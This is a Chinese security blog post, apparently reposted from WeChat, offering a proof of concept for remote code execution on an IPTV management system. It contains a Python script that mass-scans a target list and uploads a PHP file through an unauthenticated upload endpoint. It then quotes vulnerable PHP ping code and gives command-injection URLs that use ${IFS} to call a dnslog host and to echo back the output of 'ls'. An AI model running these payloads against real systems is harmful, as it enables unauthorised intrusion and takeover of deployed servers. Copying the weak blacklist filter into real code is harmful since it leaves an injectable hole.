因某些原因,需要挖掘相关漏洞。
找到iptv资产
通过github搜索到一处未授权上传
原地址:https://github.com/pykiller/iptv/blob/main/iptv.py
import requests
import ssl
import re
from bs4 import BeautifulSoup
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'User-agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.55',
'Content-type' : 'multipart/form-data; boundary=----WebKitFormBoundaryxcexPspczP3BiouN'
}
Data = "nnn------WebKitFormBoundaryxcexPspczP3BiouNnContent-Disposition: form-data; name="file"; filename="wen.php"nContent-Type: application/octet-streamnn<?php phpinfo(); ?>n------WebKitFormBoundaryxcexPspczP3BiouN--n"
def get_url(target_text):
with open(target_text, 'r') as f: #读取文件,循环取值
for target_url in f:
url = target_url.strip('n') #删除末尾换行符,此处更适合用str.replace(“n”,””):替换”n”为空
vuln_url = url + "/ZHGXTV/index.php/admin/common/uploadfile"
try: #异常处理
ssl._create_default_https_context = ssl._create_unverified_context #ssl证书问题忽略
reponse_get = requests.post(url=vuln_url,headers=headers,data=Data,timeout=10) #获取请求包回应信息
if reponse_get.status_code == 200 :
soup = BeautifulSoup(reponse_get.text,"html.parser") #读取回应的网页内容
#title=soup.title.string.replace('r','').replace('n','') #提取标题信息
re_text=re.findall('filePath":".(.+..php)',str(soup))[0]
print("地址{}n请求成功,响应:{}".format(url,soup))
print(" 33[32m[❤️]文件路径为:{}/ZHGXTV/{} 33[0m".format(url,re_text))
else:
print("请求失败")
sys.exit(0)
except Exception as e:
print(" 33[31m[☠️] 程序异常:{} 33[0m".format(e))
continue
if __name__ == '__main__':
target_text = str(input('请拖入检测列表:'))
get_url(target_text)
因上传漏洞一些站不存在,所以就有了以下漏洞挖掘。
不废话,直接给出漏洞位置
optiptvnetworknetsystemping.php
//已经完成所有检查
class ping extends spController
{
function main()
{
$host = $_GET['host'];
$num = (int)$_GET['num'];
//防止运行特殊代码
$host = str_replace("|", "", $host);
$host = str_replace(" ", "", $host);
$host = str_replace("&", "", $host);
$host = str_replace(">", "", $host);
$host = str_replace("<", "", $host);
$host = str_replace("wget", "", $host);
$host = str_replace("http", "", $host);
//地址校验正则
$domain = "/^[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+.?|((2(5[0-5]|[0-4]d))|[0-1]?d{1,2})(.((2(5[0-5]|[0-4]d))|[0-1]?d{1,2})){3}$/";
if (!$host || !preg_match($domain, $host)) die;
if (!filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { //判断是否为IP地址
if (lf_getaddrbyhost("www.qq.com") == "www.qq.com") die(T("不能连接到互联网,请查看您的网络设置") . "!<br>");
$host = lf_getaddrbyhost($host);
}
if ($num == 1) {
unset($_COOKIE['ping']);
setcookie("ping", $host, 0, "/");
echo T("接受5次ping测试") . "![" . $_GET['host'] . "]<br>";
echo 'PING ' . $host . ' (' . $host . ') 56(84) bytes of data.<br>';
} else {
$host = $_COOKIE['ping'];
}
$result = lf_rootrun('/usr/bin/ping -c 1 -w 1 ' . $host . '|grep icmp', 1);
if ($result) {
echo $result . "<br>";
} else {
echo 'reply time out!<br>';
}
if ($num == 5) {
echo T('已完成!');
unset($_COOKIE['ping']);
}
}
}
/**
*
* @param $str 看是否在连网
*/
function lf_getaddrbyhost($host, $timeout = 1)
{
$query = `/usr/bin/nslookup -timeout=$timeout -retry=1 $host`;
if (preg_match('/nAddress: (.*)n/', $query, $matches))
return trim($matches[1]);
return $host;
}
传入的host会进入函数lf_getaddrbyhost
我们知道php中是可以通过``来执行系统命令的所以我们构造
/network/net/login.php?c=ping&a=main&host=www.baidu.com;nslookup${IFS}dd.nhugbt.dnslog.cn;&num=1
如何构造回显exp?
我们回到代码
if (preg_match('/nAddress: (.*)n/', $query, $matches)
return trim($matches[1]);
正则匹配Address然后取数组第二个值
我们首先给一个不存在的值,然后手工构造一个address
这里我使用gooleshell演示(不是真实环境,可能显示有差异)
正常情况
构造回显exp
/network/net/login.php?c=ping&a=main&host=a.b.c;echo${IFS}Address:${IFS}`ls`&num=1
原文始发于微信公众号(安全学习与分享):iptv_rce(附poc)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论